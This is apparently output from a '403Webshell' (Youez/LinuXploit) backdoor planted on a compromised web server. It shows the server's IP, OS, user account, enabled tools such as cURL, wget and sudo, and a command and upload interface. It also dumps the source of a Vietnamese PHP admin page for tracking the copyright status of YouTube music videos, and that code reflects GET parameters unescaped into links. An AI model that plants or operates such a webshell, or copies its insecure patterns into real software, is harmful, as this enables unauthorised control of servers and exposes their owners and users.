403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/musicyzf/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/musicyzf/public_html/group_music.php
<?php
session_start();
$ip = $_SERVER['REMOTE_ADDR'];
if(!isset($_SESSION['login']) || !isset($_SESSION['group']))
{
	include 'login.php';
	return;
}
include 'config.php';
if(isset($_POST['idThuMucInsert']))
{
	$listIDVideo = explode(PHP_EOL, $_POST['list_video_insert']);
	$thanhCong = 0;
	$khongThanhCong = 0;
	foreach($listIDVideo as $key => $item)
	{
		$number_insert = 'NULL';
		if(is_numeric($item))
		{
			$number_insert = $item;
		}
		else if(strpos($item, '=') > -1)
		{
			$idVideo = explode('=', $item)[1];
			$idVideo = preg_replace("/\r\n|\r|\n/",'',$idVideo);
			$row = SelectAll('YoutubeBanQuyen', true, '`IdVideoGoc` LIKE "'.mysql_real_escape_string($idVideo).'"');
			if($row > 0)
			{
				$result = mysqli_fetch_assoc(SelectAll('YoutubeBanQuyen', false, '`IdVideoGoc` LIKE "'.mysql_real_escape_string($idVideo).'"'));
				$number_insert = $result['Id'];
			}
		}
		else
		{
			$row = SelectAll('YoutubeBanQuyen', true, '`IdVideoGoc` LIKE "'.mysql_real_escape_string($item).'"');
			if($row > 0)
			{
				$result = mysqli_fetch_assoc(SelectAll('YoutubeBanQuyen', false, '`IdVideoGoc` LIKE "'.mysql_real_escape_string($item).'"'));
				$number_insert = $result['Id'];
			}
		}
		if($number_insert != 'NULL')
		{
			if($_POST['idThuMucInsert'] == 'all')
			{
				$rowTongThuMuc = SelectAll('YoutubeThuMucAmNhac', true);
				if($rowTongThuMuc > 0)
				{
					$tongThuMuc = SelectAll('YoutubeThuMucAmNhac', false);
					while($res = mysqli_fetch_array($tongThuMuc))
					{
						$insert_query = "INSERT INTO YoutubeThuMucAmNhacVaIdVideo (IdVideo,IdThuMucAmNhac) VALUES ";
						$insert_query .= "('".mysql_real_escape_string($number_insert)."','".mysql_real_escape_string($res['Id'])."');";
						mysqli_query($conn, $insert_query);	
					}
				}
			}
			else
			{
				
				$insert_query = "INSERT INTO YoutubeThuMucAmNhacVaIdVideo (IdVideo,IdThuMucAmNhac) VALUES ";
				$insert_query .= "('".mysql_real_escape_string($number_insert)."','".mysql_real_escape_string($_POST['idThuMucInsert'])."');";
				mysqli_query($conn, $insert_query);	
			}
			$thanhCong++;
		}
		else
		{
			$khongThanhCong++;
		}
	}
}
?>
<!DOCTYPE html>
<html lang="en"><head>
	<meta charset="utf-8">
	<link rel="apple-touch-icon" sizes="76x76" href="assets/img/apple-icon.png">
	<link rel="icon" type="image/png" sizes="96x96" href="assets/img/favicon.png">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

	<title>Bóng Dâm Group Music</title>

	<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport">
    <meta name="viewport" content="width=device-width">
    <link href="assets/css/bootstrap.min.css" rel="stylesheet">
    <link href="assets/css/animate.min.css" rel="stylesheet">
    <link href="assets/css/paper-dashboard.css" rel="stylesheet">
    <link href="assets/css/demo.css" rel="stylesheet">
    <link href="http://maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css?family=Muli:400,300" rel="stylesheet" type="text/css">
    <link href="assets/css/themify-icons.css" rel="stylesheet">

<script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/common.js"></script><script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/util.js"></script><script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/stats.js"></script><script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/common.js"></script><script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/util.js"></script><script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/30/9/intl/vi_ALL/stats.js"></script></head>
<body style="">

<div class="wrapper">
    <div class="sidebar" data-background-color="white" data-active-color="danger">

    	<div class="sidebar-wrapper">
            <div class="logo">
                <a href="http://music.camcaophong.biz" class="simple-text">
                    BÓNG DÂM MUSIC
                </a>
            </div>

            <ul class="nav">
                <li>
                    <a href="http://music.camcaophong.biz" target="_blank">
                        <i class="ti-panel"></i>
                        <p>Dashboard</p>
                    </a>
                </li>	
				<li class="active">
                    <a href="http://music.camcaophong.biz/group_music.php">
                        <i class="ti-rss-alt"></i>
                        <p>Group Music</p>
                    </a>
                </li>
				<li>
                    <a href="http://music.camcaophong.biz/image_music.php">
                        <i class="ti-rss-alt"></i>
                        <p>Image Music</p>
                    </a>
                </li>				
            </ul>
    	</div>
    </div>

    <div class="main-panel">
        <nav class="navbar navbar-default">
            <div class="container-fluid">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar bar1"></span>
                        <span class="icon-bar bar2"></span>
                        <span class="icon-bar bar3"></span>
                    </button>
                    <a class="navbar-brand" href="http://music.camcaophong.biz/group_music.php">Group Music</a>
                </div>
            </div>
        </nav>
        <div class="content">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-md-12">
                        <div class="card">
                            <div class="header">
                                <h4 class="title">Lọc Thư Mục</h4>
                            </div>
                            <div class="content">
                                <form method="GET">
                                    <div class="row">
                                        <div class="col-md-8">
                                            <div class="form-group">
                                                <select class="form-control border-input" name="IdThuMucMusic">
													<?php
														$html = '';
														$rowTongThuMuc = SelectAll('YoutubeThuMucAmNhac', true);
														$html .= '<option value="all" selected>Tất cả</option>';
														if($rowTongThuMuc > 0)
														{
															$tongThuMuc = SelectAll('YoutubeThuMucAmNhac', false);
															while($res = mysqli_fetch_array($tongThuMuc))
															{
																if(isset($_REQUEST['IdThuMucMusic']) && $res['Id'] == $_REQUEST['IdThuMucMusic'])
																{
																	$html .= '<option value="'.$res['Id'].'" selected>'.$res['NameCategory'].'</option>';
																}
																else
																{
																	$html .= '<option value="'.$res['Id'].'">'.$res['NameCategory'].'</option>';
																}
															}
														}
														else
														{
															$html .= '<option value="all">Không có</option>';
														}
													?>
													<?php echo $html; ?>
												</select>
                                            </div>
                                        </div>
										<div class="col-md-4">
											<button type="submit" class="btn btn-info btn-fill btn-wd">Lọc Dữ Liệu</button>
										</div>
                                    </div>
                                    <div class="clearfix"></div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
				<div class="row">
                    <div class="col-md-12">
                        <div class="card">
                            <div class="header">
                                <h4 class="title">Thêm Dữ Liệu</h4>
                            </div>
                            <div class="content">
                                <form method="POST">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <div class="form-group">
                                                <textarea class="form-control border-input" name="list_video_insert"></textarea>
                                            </div>
                                        </div>
										<div class="col-md-6">
                                            <div class="form-group">
                                                <select class="form-control border-input" name="idThuMucInsert">
													<?php
														$html = '';
														$rowTongThuMuc = SelectAll('YoutubeThuMucAmNhac', true);
														$html .= '<option value="all" selected>Tất cả</option>';
														if($rowTongThuMuc > 0)
														{
															$tongThuMuc = SelectAll('YoutubeThuMucAmNhac', false);
															while($res = mysqli_fetch_array($tongThuMuc))
															{
																if(isset($_REQUEST['IdThuMucMusic']) && $res['Id'] == $_REQUEST['IdThuMucMusic'])
																{
																	$html .= '<option value="'.$res['Id'].'" selected>'.$res['NameCategory'].'</option>';
																}
																else
																{
																	$html .= '<option value="'.$res['Id'].'">'.$res['NameCategory'].'</option>';
																}
															}
														}
														else
														{
															$html .= '<option value="all">Không có</option>';
														}
													?>
													<?php echo $html; ?>
												</select>
                                            </div>
                                        </div>
										<div class="col-md-6">
											<button type="submit" class="btn btn-info btn-fill btn-wd">Thêm</button>
										</div>
                                    </div>
                                    <div class="clearfix"></div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
					<div class="col-md-12">
                        <div class="card">
                            <div class="header">
								<?php
								$row_tong_bai_hat = Select('YoutubeThuMucAmNhacVaIdVideo', true, '`TrangThaiBanQuyen` != 0');
								?>
                                <h4 class="title">Danh Sách Các Bài Hát (<?php echo $row_tong_bai_hat; ?> Bài Đã Check)</h4>
                                
                            </div>
                            <div class="content table-responsive table-full-width">
                                <table class="table table-striped">
                                    <thead>
                                        <tr>
										<th>ID</th>
                                    	<th>Tên Bài</th>
                                    	<th>Bản Quyền</th>
										<th>View</th>
                                    	<th>Channel</th>
                                    	<th>Network</th>
                                    	
                                    </tr></thead>
                                    <tbody>
										<?php
											$list_network = array();
											$result = Select('YoutubeThuMucAmNhacVaIdVideo', false, '`TrangThaiBanQuyen` != 0');
											$result_network = SelectAll('YoutubeNetwork', false);
											while($res = mysqli_fetch_array($result_network))
											{
												$list_network[] = $res;
											}
										?>
										<?php while($res = mysqli_fetch_array($result)) : ?>
                                        <tr>
                                        	<td><?php echo $res['Id']; ?></td>
											<td><a href="<?php echo "https://www.youtube.com/watch?v=" . $res['IdVideoGoc']; ?>" target="_blank"><?php echo $res['TitleVideoGoc']; ?></a></td>
                                        	<td><?php 
												if($res['TrangThaiBanQuyen'] == 0)
												{
													echo '<span style="color: blue;">Wait</span>';
												}
												else if($res['TrangThaiBanQuyen'] == 1)
												{
													echo '<span style="color: red;">Có</span>';
												}
												else if($res['TrangThaiBanQuyen'] == 2)
												{
													echo '<span style="color: green;">Không</span>';
												}
												else if($res['TrangThaiBanQuyen'] == 3)
												{
													echo '<span style="color: red;">BLOCK</span>';
												}
											?></td>
                                        	<td><?php echo $res['ViewVideoGoc']==""? "0" : $res['ViewVideoGoc']; ?></td>
                                        	<td><a href="<?php echo "https://www.youtube.com/channel/" . $res['ChannelVideoGoc']; ?>" target="_blank"><?php echo $res['NameChannelYoutube']; ?></a></td>
                                        	<td>
											<?php
												if($res['TrangThaiBanQuyen'] == 2) 
												{
													echo 'GA';
												}
												else
												{
													$string_p = 'Chưa Có Data';
													foreach($list_network as $key => $item)
													{
														if($res['NetworkBanQuyen'] == $item['IdNetWork'])
														{
															$string_p = $item['NameNetWork'];
														}
														else if($res['NetworkBanQuyen'] == 'ViPhamBanDieuKhoan')
														{
															$string_p = '<span style="color:red;">Ăn gậy Youtube</span>';
														}
													}
													echo $string_p;
												}
											?>
											</td>
                                        </tr>
                                        <?php endwhile; ?>
                                    </tbody>
                                </table>
								<div class="pageNationMusic" style="text-align: center;">
									<ul class="pagination">
										<?php 
											$page_next = 1;
											$page_pre = 1;
											$disabled_lui = "";
											$disabled_tien = "";
											if(isset($_GET['page']) && $_GET['page'] == 1)
											{
												$disabled_lui = " disabled";
											}
											$total_page = ceil($row_tong_bai_hat / 50);
											if(isset($_GET['page']) && $_GET['page'] == $total_page)
											{
												$disabled_tien = " disabled";
											}
											if(!isset($_GET['page']))
											{
												if($total_page <= 1)
												{
													$disabled_tien = " disabled";
												}
												else
												{
													$page_next = 2;
												}
												$disabled_lui = " disabled";
												
											}
											else
											{
												
												if($_GET['page'] > 1)
												{
													$page_pre = $_GET['page']-1;
												}
												if($_GET['page'] <= $total_page)
												{
													$page_next = $_GET['page']+1;
												}
											}
										?>
										<?php
											$url = "";
											if(isset($_GET['searchNameMusic']))
											{
												$url .= '?searchNameMusic=' . $_GET['searchNameMusic'];
											}
											if(isset($_GET['searchBQ']))
											{
												$url .= '&searchBQ=' . $_GET['searchBQ'];
											}
											if(isset($_GET['searchChannelMusic']))
											{
												$url .= '&searchChannelMusic=' . $_GET['searchChannelMusic'];
											}
											if(isset($_GET['searchSapXep']))
											{
												$url .= '&searchSapXep=' . $_GET['searchSapXep'];
											}
											if($url == "")
											{
												$url .= "?page=";
											}
											else
											{
												$url .= "&page=";
											}
										?>
										<li class="page-first<?php echo $disabled_lui; ?>"><a href="<?php echo $url; ?><?php echo $page_pre<=1? 1 : $page_pre; ?>"><i class="fa fa-angle-double-left" aria-hidden="true"></i> Lùi Trang</a></li>
										<li class="page-firstt<?php echo $disabled_tien; ?>"><a href="<?php echo $url; ?><?php echo $page_next>=$total_page ? $total_page : $page_next; ?>">Tiến Trang <i class="fa fa-angle-double-right" aria-hidden="true"></i></a></li> 
									</ul>
								</div>
                            </div>
                        </div>
                    </div>
				</div>
            </div>
        </div>


        <footer class="footer">
            <div class="container-fluid">
                
                <div class="copyright pull-right">2017<i class="fa fa-heart heart"></i> by <a href="https://www.facebook.com/trinhlam365">Trịnh Lãm</a>
                </div>
            </div>
        </footer>

    </div>
</div>

    <script src="assets/js/jquery-1.10.2.js" type="text/javascript"></script>
	<script src="assets/js/bootstrap.min.js" type="text/javascript"></script>

	<script src="assets/js/bootstrap-checkbox-radio.js"></script>

	<script src="assets/js/chartist.min.js"></script>

    <script src="assets/js/bootstrap-notify.js"></script>
	<script src="assets/js/paper-dashboard.js"></script>
	<script src="assets/js/demo.js"></script>
	<?php if(!isset($_SESSION['notify_new'])) : ?>
	<script type="text/javascript">
    	$(document).ready(function(){

        	demo.initChartist();

        	$.notify({
            	icon: 'ti-gift',
            	message: "Hề lồ hê lô."

            },{
                type: 'success',
                timer: 4000
            });

    	});
	</script>
	<?php endif; ?>
	<?php if(isset($thanhCong) && isset($khongThanhCong)) : ?>
	<script type="text/javascript">
    	$(document).ready(function(){

        	demo.initChartist();

        	$.notify({
            	icon: 'ti-gift',
            	message: "Thành công <b><?php echo $thanhCong; ?></b> - <span style='color:red'>Không thành công <?php echo $khongThanhCong; ?></span>."

            },{
                type: 'success',
                timer: 4000
            });

    	});
	</script>
	<?php endif; ?>
<?php
if(!isset($_SESSION['notify_new']))
{
	$_SESSION['notify_new'] = 0;
}
?>

</body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit